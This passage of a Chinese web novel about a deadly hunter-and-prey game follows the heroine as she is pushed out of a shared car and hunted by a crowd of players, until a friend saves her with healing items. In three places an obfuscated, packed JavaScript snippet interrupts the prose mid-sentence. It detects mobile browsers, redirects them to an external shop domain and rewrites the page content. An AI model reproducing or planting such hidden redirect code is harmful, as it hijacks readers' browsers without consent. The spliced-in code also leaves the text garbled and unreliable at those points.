“怎么回事?”梅子喻问道。 儿童文学还以为这辆车的到来也在她计划里呢,听到她这么问,立刻后退一步保持距离。芝士也同样,三个人都离星星远远的。 “别离我这么远,我们不是都升级了么,已经成功逃出来了。”星星摇下车窗,说道:“当时我的情况比较特殊。来抓我的……是猎人鼹鼠。” “不知道我启动车的时候按了什么按钮,违规项除了超速,还有一大堆内容。我记不清了,大概是什么崩坏之类的。然后一只特别大的鼹鼠挖了个巨大的坑,把我这辆车都拖进去了。” “我看到那只鼹鼠里坐着一个昏迷的人,应该就是猎人。不过他嘴都发白,已经失去意识很久了,这些鼹鼠也不是按照他即时的指令在做事,就只是在执行规则而已。” 四个人的位置都很分散,没人知道星星当时发生了什么,不知道他是在瞎编还是真有此事。 不论如何,星星没有害他们的动机,而好消息是,他们拥有了一辆车。 虽然是一辆残破的,接近报废的车。 20. 公共领地一、驱逐 “上车吧。”星星朝他们招手,“有没有残血的?我和梅好明天道具配合下,残血的补下血。” 梅子喻瞪着他没说话,他笑了笑,补充道:“我有道具,一开始就看到你的名字了。” “梅好明天?”芝士满脸震惊:“你是梅好明天?排名第一那个?游戏时间特别短那个?” 又来了,每个人都要在听到她的名号时震惊一下。 虽然她当时仅仅只是砸死了一个叫星的猎人而已。 “……是我。”梅子喻颇为无奈。 “怪不得……”怪不得有那么多厉害的道具,怪不得可以这么快地带他们逃出这个噩梦地下室。 几人纷纷上车,芝士坐在副驾驶位,还是不停回头看她,又对星星埋怨道:“你看得到怎么不早说!” “早说有什么用?” “早说的话大伟不就不用死了。”大伟就是那个高个男。 “他死了你很难过?” “当然不。” 芝士眼神黯淡了几分,要是再早点遇到梅好明天,说不定她还比较在意的那两个队友就不会死了。 至于又自大又讨厌只会和她吵架的大伟,还有这个满面笑容但看不透心里在想什么的星星,她一点都不在意。 一起合作逃出生天的游戏大佬梅,和那个一脸严肃的小跟班,她也不在意。在这个游戏呆了十几天,最初的单纯和真情早就被磨光了,现在不论谁死掉也无所谓,她只要自己活着。 所以,她一定要抱紧游戏第一的大腿。 “梅,我们四个就一直一起行动吧。”芝士回神,转身搭着副驾驶的椅背,望着梅子喻的双眼:“我们几个配合的很好,一定可以一起活到游戏结束的。” “——你说是不是?”她又拍了拍儿童文学的肩,想搞出一点团结的氛围。 儿童文学并未接话。 见她没有反应,芝士立刻换了个进攻方向,说道:“这个游戏之所以会死这么多猎物,是因为猎物之间也会彼此算计,互相利用。但我们会很团结,因为我们有共同信任的人。我们都相信梅,我们都发自内心地相信梅,所以,我们会活下去。” 这下儿童文学有反应了:“嗯。我们都相信。” 芝士暗暗握拳:成功拉到了一个和自己处于同样位置的同盟,还把梅子喻从道德上架高,让她无法抛弃他们。 梅子喻有些坐立难安。 她始终记得第一个说相信她的人死的那么惨。她并不在乎灰烬的死亡,但她也并不想看到某个信任她的人再死在面前,而自己却没有拼上命去拯救。如果这样的事情再次发生,岂不是说明她冷血、无情? 她担不起大家的信任,她也不想担。 星星忽然说道:“对,我们都相信你,想要追随你。梅队长,一会你被其他猎人抓的时候,可要保护好我们。” 芝士忽然意识到什么,神色一凛。 “毕竟你现在可是排行榜第一的猎物,杀你一个能得到不少经验值。现在游戏时间还有六十小时,有些杀的人数不够的猎人,或者想要挑战排行榜的猎人,可能都会冲着你来了——梅队长。” 星星说话语气平平淡淡,但一石激起千层浪,车内气氛降到冰点,一时间几人都沉默了。 芝士脸色变了又变,突然很想收回之前自己说的话。 跟着梅子喻,虽然是抱了大腿,但也相当于跟了一个危险性极高的定时炸弹。 只一句话功夫,落在梅子喻身上无比信任的目光就成了怀疑和提防,她松下一口气的同时,心里也有些隐隐的失落。 明明是她带大家逃出来的,现在倒成了危险源了。 儿童文学迟疑了下,问道:“这里你们来过吗?是谁的领地?” “我没有,我从别的地方进入车库的。”芝士举手。 “我是从这里来的。”星星说道。 芝士道:“太好了。你跟我们讲下这里的猎人是什么样的,我们也好有个准备……” “这里是公共领地。” “……” 梅子喻眼看芝士和儿童文学的表情变得绝望。她不明白发生了什么,但能感受到这两人和自己之间似乎被什么东西隔开了,恐惧的情绪正慢慢散播开。 “对了,梅队长进游戏时间不长,应该不知道这是什么意思?”星星解释道:“猎人死之后,领地会变成公共领地,所有猎人都可以在这里杀掉猎物。” “这个领地的猎人被一个开摩托的长头发男人杀死了。那个男人好像是个排行榜刷分狂热分子,不仅杀猎物还杀猎人……” 这个长发男人显然就是男鬼。 星星手指敲了敲方向盘,从后视镜里和梅子喻对视,虽然是和大家说话,但好像这句就只是单说给她一个人的: “你们说,他会不会来追我们?” 猎人不会来追他们。 猎人会来追梅子喻。 而且是,很多很多的猎人。 “——梅队长,你说我们现在该怎么做?找个地方躲起来,还是开一会车,等猎人赶来了和他们竞速一下?” 梅子喻没想到决策权忽然落到自己手里。她想和儿童文学讨论一下,却感到如刺一般目光扎在她脸上——她刚刚想过无论如何都要保护的朋友,现在也隐隐约约站在了她的对立面了。 她微微张了张嘴,一时间说不出话来,心里有些苦涩。但她也清楚,儿童文学这般的反应只是出于本能和理性罢了,而非真想抛弃她。 “这车算谁的?”芝士忽然问道。 “算我的。”星星说道:“毕竟车是我带过来的,但是这又不是专属道具,大家都可以开。” 芝士在几人之间慢慢看了一遍,最后落在星星身上,状若随意地说道:“那应该由你来决定我们是否要开车,开车去哪里,以及……车上能坐谁。” 这已经是在明示梅子喻滚蛋了。 星星微笑道:“我们四个人坐着不是正好吗?” “……” 芝士心道,看来他是不准备跟自己一起保命了。 在知道这里是公开领地、而梅子喻又是游戏排行榜第一时,一切正常玩家都会想要离她远点。星星的想法,芝士看不透,也懒得了解,此人一直神经兮兮,游离于紧张和危险之外,多半有什么救命手段。他也许在梅子喻身边能活下去,但自己却不能。 她眼球滴溜一转,又想了个别的法子,说道:“这车本来就开不快,驾驶位下面还有个洞,已经接近报废了,我们四个人都在上面反而拉低车速,比不开车强不了多少。既然这里是公共领域,我觉得我们可以分开行动。之前星星也提了两种方法,开车靠速度躲避追杀,或者用变身卡直接隐藏起来,那么我们不如两个人开车,两个人在外——变身卡以及各种道具多的在外面观察情况、汇报猎人位置,车里的人则负责当猎人出现时开车引开猎人。” 这一点都不公 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208956|151081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 平,毕竟车里的人随时可以使用变身卡,而车外的人却没法随时回到车里。更何况,开车的人是否愿意用车吸引猎人的注意力还不好说。 但方案本身倒是没什么问题,确实将风险分散开了。如果他们愿意互帮互助,四个人存活的概率都会提升。 儿童文学:“我没意见。” 星星眨了眨眼,说道:“梅队长的卡牌应该最多吧?” 虽然没有直接表态,但问这话也相当于站在了支持芝士的那一边。 芝士瞥他一眼,心道,总算说了一句人话。她也转向梅子喻:“梅,你的替身呢?能利用它们来发现和溜猎人吗?” 梅子喻的第二次猎人标识还剩下十几分钟,但她这次的替身还都停留在地下室里。离开了车库,这张N级卡就没用了。 “用不了。”她直白地回答道。 “那你还有别的能用的卡吗?你的道具应该比我们多很多吧?” 这话梅子喻没法反驳。她已经当着他们的面用过血药道具,还通过buff直接查看详细规则。那时她还没想到,这样光明正大地使用道具会导致这样的情况。 不过,也无所谓了。 “嗯,我还有点能用的。”梅子喻打开车门,径直下了车。“有情况我会通知你们。” 其他几人都没想到她居然会这样果断地弃车,其中主导这一切的芝士最为惊讶,她本来想尽办法把梅子喻弄下车,但现在事情这样简单地成了,心中又觉得哪里不对劲。 她牢牢盯着梅子喻的眼,试图从中找出什么异样,但一无所获。 “你们三个开车吧。”梅子喻后退一步,没再说多余的话,转身便走。 见她这样坦然自若,仿若希望散尽直接送死一样,芝士心里忽然一阵愧疚,觉得自己这样刚逃出一关就催人家送死的行为十分不是人。 她犹豫了片刻,朝着梅子喻的背影喊道:“喂……” “我和你一起。”儿童文学打开车门,快跑两三步跟了上去。 芝士的话没能说出来。 车里两人,车外两人,正如他们遇见时的分队情况。一起经历一次死里逃生,并不能让他们的感情变得牢固。 梅子喻略有惊讶,不过转念一想,儿童文学会在危急时刻蹲在地上一根一根捡起已经被做成替身的好友的残存头发,此刻念着她们的情谊也算正常。 但如果她想要儿童文学活下去,她们应该分开行动。芝士的的担忧是理性的做法,放弃好不容易得来的汽车,和她这样的高危分子一起行动,实在太过冲动了。 在离开地下室那时起,她已经下定决心,保住儿童文学的生命。 隔着几步的距离,梅子喻伸出手,做出了一个不要前进的手势。 儿童文学脚步一顿,面上露出一丝茫然:“我是站在你这边的……” “我知道,我没怀疑。”梅子喻笑了笑,“我会活着的,你也会。” “可……” “你相信我吗?” 梅子喻脱口而出。当她说出这话时,自己也是一愣。 “当然。”儿童文学也毫不犹豫地回答道。 说到这里,她也明白了梅子喻的想法——虽然芝士和星星不可信,但是她是可信的。 车上车下分头行动,芝士的策略,由他们两个来执行。 “我知道了。”儿童文学说道:“等我们成功逃出这个游戏后,我告诉你我的名字吧。” 21. 公共领地二、中指卡 “我也会。” 梅子喻回答道。 交换名字,意味着她们的感情从游戏跨越到了现实中,成为了真正的朋友。 她目送着他们开车远去,自己使用墙头草变身卡,蹲在某个街道的拐角打开手机。 距离游戏结束,还有59.5个小时。 她刚进入游戏时,五分钟就遇到了三个猎人。现在再次进入开放领域,并且还是所有猎人都可以随意猎杀的公共领地,接下来不到六十小时内,会有多少个猎人追上来呢? 梅子喻将所有的未用的升级点数都加到了速度上,目前还剩下六次抽卡机会,是等一等,看能不能再逃生四次凑齐十连,还是单抽出奇迹? 思考片刻,她还是决定先将抽卡机会用掉,毕竟现在还有猎人标识的最后几分钟,说不定能蹭一个猎人的替身卡。 【您的抽卡结果如下。】 属性卡-N:暴击+1 属性卡-N:速度+1 道具卡-N:精致茶具。闲暇时刻品品茶,提升你的生活品质。 道具卡-N:床上三件套。枕着它,可以睡得很舒服。 装备卡-N:万向轮。有了它,倒着走也方便。 替身卡-N:幻影。在其他玩家对你有攻击意向时,生成一个幻影替身,仅可使用一次,有效时间1秒。 “……” 一张SSR都没有也就算了,毕竟这不是有保底的十连。但也不能全是这样没用的N卡吧?尤其是什么茶具、三件套,梅子喻想不出它们的任何用法——那负SSR微波炉好歹还能煮一下男鬼的头,虽然到现在除了一头长发外,也没看出来吸收了男鬼的什么营养。 靠成就buff浪了很久,她这才回想起来自己原本的倒霉蛋体质。 她现在26级,每个栏目都有四个卡槽,技能里装备了快跑卡、手机卡、嘲讽卡和中指卡;道具卡里装备了微波炉、节约卡、补血水杯、精致茶具;变身卡只有一张墙头草;替身卡只有一张幻影;装备卡槽里则是从猎人星身上得来的超级跑鞋和刚刚抽到的万向轮。 【猎人标识,时间结束。剩余佩戴次数:0/1】 卡着猎人标识结束的时间,梅子喻用六连单抽换来张只有一秒有效时间的替身卡。 另一张N卡万向轮,倒好像还有点用途,如果倒着走路可以像朝前走一样顺利,再加上超级跑鞋和她的速度点数加成,她就可以边看向敌人,边向后逃跑。 要不要试一试? 梅子喻解除了变身状态,朝后面快跑了几步—— 两边的建筑如影一般向前飞驰,快到超乎她的想象。 梅子喻站定身子,内心大喜:按照这个速度,说不定能赶得上一辆飞驰的汽车。 把所有的升级点数都加到速度上是正确的选择。虽然她的防御和攻击都低的可怕,但她还有加血药。只要和星星配合,就同时拥有超快的速度和无限的血药。 就算一下子来十个猎人,也不话下。 梅子喻向儿童文学发了个实时位置共享,并发送消息:让星星准备好无限水杯。 如果逃跑过程中有什么意外,随时去和他们汇合加血,只要提前告知他们,要他们准备好变身卡隐藏自己就好。 刚进入公共领地十几分钟,还没有猎人追来。梅子喻没有选择继续变身躲藏,而是在街上继续前进着。毕竟猎人说不定也有能勘破变身的道具,一味躲藏不是好选择,趁现在还没人追来,先熟悉下地形,到时候不论逃跑还是躲藏,都能选一个更好的位置和路线。 这里是一片有许多岔路的步行街,离她家很远,街道摆设、楼宇建筑、街边店铺全都十分陌生。梅子喻边走边记着路线位置,防止之后逃跑时进入死路。 走着走着,她停下了脚步。 面前,是一座巨大的纸之城。 面积几乎覆盖了大半个街区,从居民区到办公楼,从体育馆到寺庙,各种样式一应俱全,像一个功能完善的城市。 虽然她没来过这里,但也知道这种纸做的建筑不可能存在在这个世界上。 她在地下车库死里逃生时,纸神就在这里造城? 仅仅一个小时的猎人标识时间里,居然能建造出如此巨大的城区。 它到底要做什么?擅自行动、自诩为神,猎杀猎人、建造城市……下一步是不是就要它的那些小纸人们发动战争,对人类玩家进行正义判决? 不敢想象再给纸神几个小时的时间,它会将这一切发展成什么样子。 梅子喻正发愣时,忽然听到身后传来一阵地面摩擦的声响。这声音极其细微,来自十分遥远的地方,在她听到声音之前,似乎是她的头发先有了感知,敏锐地竖了起来。那是一种汗毛直立的感觉,让她瞬间有了危机感,于是听觉也变得警觉。 于是,她清晰地听到来自远处的摩托行驶声。 梅子喻立即转身,目光锁定在街道另一边那辆疾驶而来的白色摩托,和上面坐着的短发男人。 男鬼还是来了。 只不过,没有了拉风的黑色长发。 原地变成墙头草,还是现在就跑?梅子喻只犹豫了一瞬间,她看到那摩托在一秒内就向她靠近了很大一段距离,便知男鬼已经锁定了她,朝着她全速前进中,于是她立刻做出决定—— 跑! 梅子喻保持着面向男鬼的姿势,向后快速跑去。 之前虽然穿着超级跑鞋,但还是跑不过开着摩托的男鬼。现在速度又加了好几个点数,能比他快吗? 梅子喻边跑边惊出一身冷汗,即使她正在全速奔跑,但男鬼的和她的距离正在以缓慢的速度不断缩短。 她从步行街的一头跑了一大半距离,时间过去了快半个小时,男鬼已经从遥遥看过去的一个小黑点变得动作容貌都清晰可见——不过十几米的距离! 两条腿就算跑得过摩托车,但人的耐力始终比不过发动机和汽油。梅子喻跑得越来越喘,速度也比一开始降了不少,两人的距离进一步缩进。 现在她身上没有任何buff,一旦进入索命绳的攻击范围,就是个死! 梅子喻身上的每一处血液都沸腾起来,她感知极大的威胁正如乌云一般笼罩住她,恐惧感比在车库看到鼹鼠时翻了十倍,不,一百倍,是情况真正失控时,面临绝对死亡的恐惧。 不仅仅由她自己感知到,更是由这头长发告知她的恐惧。 那群在她心志动摇时活起来的头发,此刻正在发生异变,发梢以她控制不住的力度向周围升起,张牙舞爪地朝它们曾经的主人、现在的敌人男鬼比划着。它们是没有思想、没有生命的头发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208957|151081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但却在梅子喻的脑中无声地叫嚣:杀了他!杀了他!如果不杀他,他就会杀你! ——用我的力量杀了他! 梅子喻清楚,只要她愿意像男鬼一样使用这股力量,她也可以像男鬼那样大杀四方,甚至,杀死男鬼! 所谓的吸收营养,就是得到男鬼操控头发的能力。 但是,她要使用吗? 正犹豫时,那张长在男鬼身子上的灰烬的脸露出了一个几乎要落泪的悲伤神情,熟悉的声音如哭丧一般、哀怨地喊。 “梅子、我恨你!我恨你!为什么不救我?” 说完这句,他脸色忽然一变,挤出一个阴森森的笑,原本清澈的少年音从这像吃过人的声道发出来,变得诡异而尖锐。 “你吃了我的头,你和我是同类!!” 梅子喻的长发像是被闪电击中前那般高高扬了起来,一股股电流在她身上乱窜,她好像受到了什么启示一般,突然想到: 她当时会吃下男鬼的头,一定是受到了蛊惑!是那头在诱惑她吃下去,是那长发想要下一个寄生体! 绝不是她失去了人性,绝不是。 只要她还能坚持着像人一样生活,只要她拥有人的情感和意志,只要她不去使用这长发的力量—— 就不会变成下一个男鬼。 梅子喻如获大赦一般笑了出来。 那时她突发奇想、吃掉男鬼的头之后,心里总是有一块沉重的大石压着,尤其是纸神所说的那句“人不可以吃人”,让她一直压抑困扰着。但现在她明白了,她不再痛苦,不再纠结,她成功地说服了她自己,就如同她当初说服了男鬼的守门替身一样轻而易举—— 她额上奔跑的热汗和眼角喜极而泣的泪水同时飞扬起来,沿着她来时的路滴滴落下。 “梅子救我、把头发还给我、把我的头还给我……梅子救我……还给我!救救我!还给我!救救我!” 男鬼疯了一样大喊,速度却没因为这样的精神分裂慢下片刻。 他们越来越近了,近到只有五米、三米、近到只有两只手臂的距离,近到索命绳即将套中她的脖颈。 近到男鬼可以清晰地看到,她正在控制不住地笑着,嘴角扬起来,眼里却在流着泪,有些滑稽,有些可怖,正如同从前的他那样。 而曾属于他的长发此刻正全全颤抖着,每一束发丝都从头到尾的震颤,他很清楚,这是因为她正发自内心地喜悦着。 她在开心什么?她有什么可高兴的?明明除了速度一无是处,在他的新道具下可以看到那单薄的防御和可笑的攻击力。一个一碰就碎的脆皮,此刻进入他伸手便能杀死的范围里,为什么还能笑得出来? 为什么能这样欣喜地、释然地…… 嘲弄地笑? “去死吧、去死、去死!索命——” 男鬼像是受到了极大的刺激一般尖利地大叫,抬手挥出索命绳—— “我和你不一样,我的意志没有被你的头发吞噬掉!” 梅子喻大声道,她双手抬起来,在男鬼的索命绳系住她脖子的前一瞬间,一左一右比出了两个中指。 【中指卡:被您竖起中指的对象速度-10。冷却时间:30min】 【嘲讽卡:通过嘲讽对方,得到一次闪现的机会。冷却时间:6h】 22. 公共领地三、全员猎杀 梅子喻本来只想用中指卡的速度减缓,但那句话不知怎地触动到了男鬼某根薄弱的神经,再加上刚好卡过来了六小时的冷却期,嘲讽卡也起效了。 她闪现到了纸城里面。 环顾一周,纸做的建筑嵌入步行街的大小商铺里外,互相依存。钢铁建楼宇牢固而无趣,附着于之上的纸建筑虽然别有一番趣味,但脆弱到一根手指就能晃动,一场雨就能淋湿,可又层层叠叠累得很高很密。不论这座城市的质量如何,纸神确实是在认真地造城。 男鬼并不知道她嘲讽卡的闪现规则,那个发现她在哪里的道具多半也有冷却期,一时半会没有再追上来。梅子喻绷紧精神四处观望了一会,见没有危险,也就微微放松,在纸城里散步起来。 现在不在猎人标识期,纸神和那些小纸人都没有现身,但它们做了很多纸人的模子放在各建筑里。 餐馆里有纸人吃饭,街上有纸人散步,庙里甚至还有纸人烧香拜神。梅子喻远远看去,见那些人模人样的小纸人还觉得有趣,然而离近一看,每个纸人都长了她的脸。 最为离谱的当属纸庙里,宝殿中供奉了一尊神,居然也是她的脸。 “……” 有没有纸人律师?可以告纸神侵犯肖像权吗? 梅子喻站在庙宇中央,身后是长着自己脸的跪拜纸人,身前是长着自己脸的神像纸人,自己拜自己的感觉颇为神奇。 她想了想,走到被垫高的神位上,轻轻一碰推塌了神像,自己站了上去。 人人跪拜,俯瞰众生。这就是做神的感觉么? 好像也没什么特殊的。 梅子喻觉得无趣,只站了一会,又从台子上跳下来,把地上跪拜的小纸人一个个踢翻。 “长着我的脸,跪什么跪。” 卫生纸是脆弱柔软的,很快,这篇神庙被她砸得一片狼藉。纸神自认为杀得了人,做得了神,思想崇高无上,世间绝对正义,然而它的根基也不过是这样一碰就碎的单薄一片纸罢了。 拆到正殿后方,眼前赫然立着一个和纸城其他建筑的风格略有不同的高科技半成品,似乎覆盖在一个原有的科技产物上。它有着极为复杂的结构,后方伸出一条纸搓出的线来,像是仪器的电线漏了出来。 仪器右侧有一本说明书,上书一行字:需要电。 这地方哪来的电? 梅子喻正思索着,忽然听到到身后滋滋作响,似乎是电流慢慢膨胀起来的声音。 她的头发又一次竖了起来,但这次却不是因为恐惧,而是因为电荷,头皮一阵阵发紧,似乎被什么东西揪着一般。熟悉的雷电击中前兆—— 是纸人们的仪器运转起来了吗? 不,不对。随着电流而来的是只有人才会散发出来的纯正的杀意。 杀手来了。 梅子喻惊讶于自己内心的平静。几小时前刚进入游戏时,她还被吓得直哭,破窗而出。但现在,或许是她的寄生物头发没有预警的缘故,或许是她这几次逃生积累了充足的应对猎人经验,又或者是她对自己的速度足够自信:虽然跑不过男鬼的摩托,但是超过骑自行车的杀手还是绰绰有余。 总之,她感觉到身后的人对于现在她来说没什么威胁。 明知以自己薄弱的防御会被一击必杀,但她甚至没有第一时间躲开,而是悠然转身,与藏在纸城之后的人隔纸对望。 她直垂到地的长发轻轻抽搐了下,好像被微弱的电流微微刺到一般。某种觉察忽地进入了她的脑子: ——他在观察她。 ——他要攻击了。 梅子喻面朝杀手的方向,脚步向后一个踏步猛蹿出去,同一瞬间,电流刀横劈过来,人头之上的高度被拦腰斩断,纸做的建筑轰然倒塌,地上划出一道细长的刀割裂痕,空气中飘舞着卫生纸碎屑。 烟雾还未散尽,捏着刀的猎人的身形在一片白雾之中影影绰绰地晃动。 一个、两个、三个……十个、二十个。 不止。 梅子喻奔逃中的脚步一顿。 为首的孤身一人,手持单刀,头覆假面,正是杀手;远的那些成群结队,身影混成一团,并成队列,紧绷地朝她小步靠近,从拘谨的姿态看来,对她十分提防。 原来,不是他,而是他们在观察她。 但她的新器官头发依旧没有发出预警。 这是否意味着,这些人对她来说都不足为惧? 但如果用理性判断,绝不会得出这样的结论。就算她能跑过一个猎人,十个猎人,但她能跑过五十个、一百个猎人吗?如果他们前后绕路将她包抄,亦或者同时放出他们最厉害的大招,就算是之前最强的猎人星,也会死于这样的攻击吧? 梅子喻的身心像是处于分离的状态,她的内心起了波澜,随着思考而变得焦虑紧张、急促不安,但她的身体却还是放松的,头发丝都没有动一下,在一种焦躁和自信交织着的奇异状态中,她对自己下了指令。 跑。她可以跑得过他们。 现在就开始跑! —— 最后一层烟雾快要散去,一个猎物对峙着一群猎人,双方都在观察对方的反应,没有轻举妄动。 忽然,猎物的脚步微微挪动,她要做出什么动作了! 进入游戏不过几个小时便杀死榜首第一的猎人星、不知真实实力、让人惶恐的恐怖猎物,要放出她第一个攻击了。 杀手双手持刀举在胸前,这像一个号召,所有从不合作的猎人们同时举起了手中的武器,准备对抗来者惊天动地的第一击。 猎物抬起了手—— 猎物行动了—— 猎物面对着他们,倒着逃跑了! 猎物跑得很快,一秒就看不到影了! “……” 准备好迎接一场恶战的猎人们皆是齐齐一愣,他们同时醒悟到一点: 就算是杀死了猎人星的顶级猎物,也会害怕他们所有猎人集结起来的力量。 她放弃抵抗了,她害怕了,她退缩了! 当猎物处于恐惧中,仓皇逃跑时,就是猎杀的最好时刻。这是所有存活到现在的猎人都明白的道理。 为了在游戏结束之前杀够足够的经验值,面前这条逃窜的的大鱼,每个人都势在必得。 抢人头了!! 大地轰隆隆响起来,那是接近一百人同时奔跑时发出的声响。他们那支整齐团结的队伍很快变得四分五裂,每个人都选择了一条他们认为最有可能抓到猎物的小路进行抓捕。这是属于他们的竞速赛——当然,如果真有某个人赢得比赛的胜利,接下来就是对那个猎人的全方位猎杀。 唰——唰—— 纸做的建筑一栋接着一栋倒下,但人类的钢铁建筑并不好破坏,依然牢固地矗立着。 大街小巷、楼房建筑和迷人双眼的碎纸屑同时成为猎物躲避的最佳掩体。 梅子喻在不停地跑。 没有替身来为她监控猎人的位置,但她可以靠着头发的预警来感知前方是否有人。如果有,就在与他碰面之前逃向别的岔路。在所有的岔路都别猎人占据之前,她的生存概率仍旧是100%。 只是,一旦与人正面交锋,她就危险了。 梅子喻跑出一身汗来,她感觉到自己的意志力正随着全速奔跑和长时间精神紧绷而逐渐瓦解。但是她一刻都不能停下,身后永远有不少于十个的猎人追杀。 她瞥了眼时间,还有55个小时。 她还要这样逃55小时吗?就算是长跑热爱者,就算是有跑鞋和速度加成,也扛不住如此长时间、如此规模庞大的追逐战。 梅子喻恍惚了一瞬,脚步略一歪斜,就这么松懈的一瞬间,身后十米开外的猎人立即一道攻击射过来,正中她的脚踝。 “嘶——” 她将痛呼努力咽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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当然是前者。所有人都会选择前者。芝士就不必说了,星星摸不透,她不了解。但就算是儿童文学这样全心全意相信她的人,在保命和救人之中也必然会以保命优先。 更何况,她这样吸引了所有猎人的火力,对其他猎物来说都是好事。 她必须自己找到水源。到头来,她还是只能靠自己…… 随着血量下降,梅子喻的思绪变得混乱,全速奔逃中顾不上思考太多,情绪像是被冻住了一般,没有任何感觉。但哪怕即使在如此麻木的状态下,她也体会到了一丝彻骨的绝望感。 血量:5 【警告:您的血量正在快速下降,请治疗】 手里握着加血道具却没法用,就好像沙漠里快要渴死的人看到了水却不能喝。 血量:4 【警告:您的血量正在快速下降,请治疗】 她还有什么方法可用吗?什么地方有水?要怎么安全地到达那里? 血量:3 【警告:您的血量正在快速下降,请治疗】 她不想死!她不想死! 血量:2 【警告:您的血量正在快速下降,请治疗】 他们真的不来么? 她帮助他们逃出了噩梦地下室。她救了他们所有人的命。 他们真的不准备来救她了么? 绝望。 梅子喻体验过很多次绝望,这不过是她生命中很小、很小的一次绝望而已。可是经历过这么多次,她还是无法适应这种将人活生生拖入深渊的濒死感。 滴—— 毫无预兆地,一辆小破车摇摇晃晃地从面前横着的小路疾驶而过。驾驶座的人丢过来一个水杯,又风驰电掣地从其他路开走了,只留下一串尾气。 血量:1 【警告:您即将死亡】 “血!” 梅子喻无比庆幸,她的咒语节约卡放在了卡槽里。 毕竟血液流尽的几秒里,她可没时间念完加血水杯四个字。 23. 公共领地四、成就:逃跑冠军 旧的诗:我们会保持在你能使用道具的距离里 旧的诗:继续跑,不要停下来 旧的诗:很多猎人在追你,他们根本顾不上我们,只想要你的命 血量补满后,梅子喻重振精神,速度终于又提了上去,和后方的追杀者拉开了一小段距离。这时她才有心思打开手机,边跑边浏览消息。 刚才仓促一瞥,车里驾驶位坐着儿童文学,星星在副驾,芝士在后排。不知他们经历了怎样的争执,位置变成了这样。 如果不是儿童文学掌控了开车的权力,他们应该不会过来给她送药。 梅子喻捂住胸口,说不上自己现在的感觉。比起感动,更像是震惊。在这所有人都为了保护自己拼尽全力的猎杀游戏里,真的有人会冒着生命危险去救别人吗? 明明当时她面对着快要死去的灰烬无法前进一步,但儿童文学却敢开着这辆破车直接冲进猎人堆里。只要任何一个猎人稍微留意到他们,一个大招砍过去,他们三人都将性命不保。 为什么?为什么他们会这么做? 他们来救她,是为了让她的性命延续的久一点,来持续吸引猎人的活力吗?是他们经过讨论后理性得出的最优策略吗?是他们想要她身上的加血道具吗?…… 有人来救她了,这是真实的吗? 梅子喻心中充满了复杂的问句,她有很多疑惑,对自己的,对儿童文学的,对命运的。她还没有适应这件事——她真的可以不仅仅靠自己活下去。真的有人在她陷入绝望的漩涡时伸出手,真的有人来救她了。 恍惚之中,她瞥见手机上最新两条消息。 旧的诗:活到游戏结束 旧的诗:拜托了 “……” 或许没有那么多为什么,也没有那么多理性、决策。儿童文学只是单纯地想要和她一起通关游戏而已。 身后的猎杀大军忽然变得渺小可笑,而从她面前驶过的那辆无影无踪的破车变得高大。攥在手里的水杯源源不断地向她灌入暖流——血量不断上升的同时,她的心里也充满了某种力量,让她的身体再次轻盈,像是快要飞起来。 没有人会追上她,没有人。因为她还要活着离开这个游戏。 和儿童文学一起。 距离游戏时间结束,还有54小时。 越来越多的猎人布满了整条步行街。每一条小路都各有一个猎人守着。他们或许跑不了那么快,跑不了那么远,但是他们可以固定一个据点,然后将她团团包围,进行狩猎。 比拼运气和射程的时刻到了。 一道道远程攻击射过来,东南西北,前后左右,每个路口都有一道身影守着,听见她的脚步声便冲过来,遥遥地打来几记攻击。 一道从她的手边穿过,一道从她的头顶蹭过,一道射中了她的大腿。 身子向前倒去,血喷出来,疼痛撕咬着神经。她喝下血药,一个翻滚再次站起来。 十个人包围了她。 十五个。 三十个。 …… 梅子喻擦去额头的冷汗,奔跑途中挠了挠自己身上第四十五个血洞,继续猛灌下一瓶血药。 无限血药,就是顶! 猎人们眼睁睁看着早就该死去的猎物一次次从地上爬起来。她的防御似乎十分单薄,即使是最简单的攻击也可以把她的身子打穿一个洞。但不知为何,她一直没有死。 无限复活。 这个可怕的字样出现在所有人的脑海里。这可能吗?在一个猎杀游戏里,一个猎物拥有无数次复生机会? 不,不对。不是复生,只是加血。 随着距离的缩近,他们看到了她喝药的动作。 不知道她哪来这么多血药,但这起码说明了她不是无敌的。只是他们发出的攻击并非一招致命,所以她才有时间通过补血回满状态。 只是,谁会做那个第一次放出大招的人呢? 一旦夺走她的人头和经验值,猎人们的下个目标就是取得胜利的猎人本身。这时,一个没有用掉CD的大招将是他们的保命手段。 为了保护自己,不能用大招。为了得到人头,必须用大招。 这是所有猎人陷入的两难困境。如此多的猎人围堵一个猎物,一时间居然没法将她拿下。 除非有一个不害怕被其他猎人追杀的最强猎人,愿意在此用出大招,将她一招毙命。 …… 梅子喻还在奔跑。这时,她的心态和状态都极佳,不断补血让她不再害怕那些人的攻击,并且也不再疲惫,永远都能将速度保持在最高值。 她甚至在猎杀她的队列里看到了骑着摩托车的男鬼。现在,甚至连他都追不上她了。 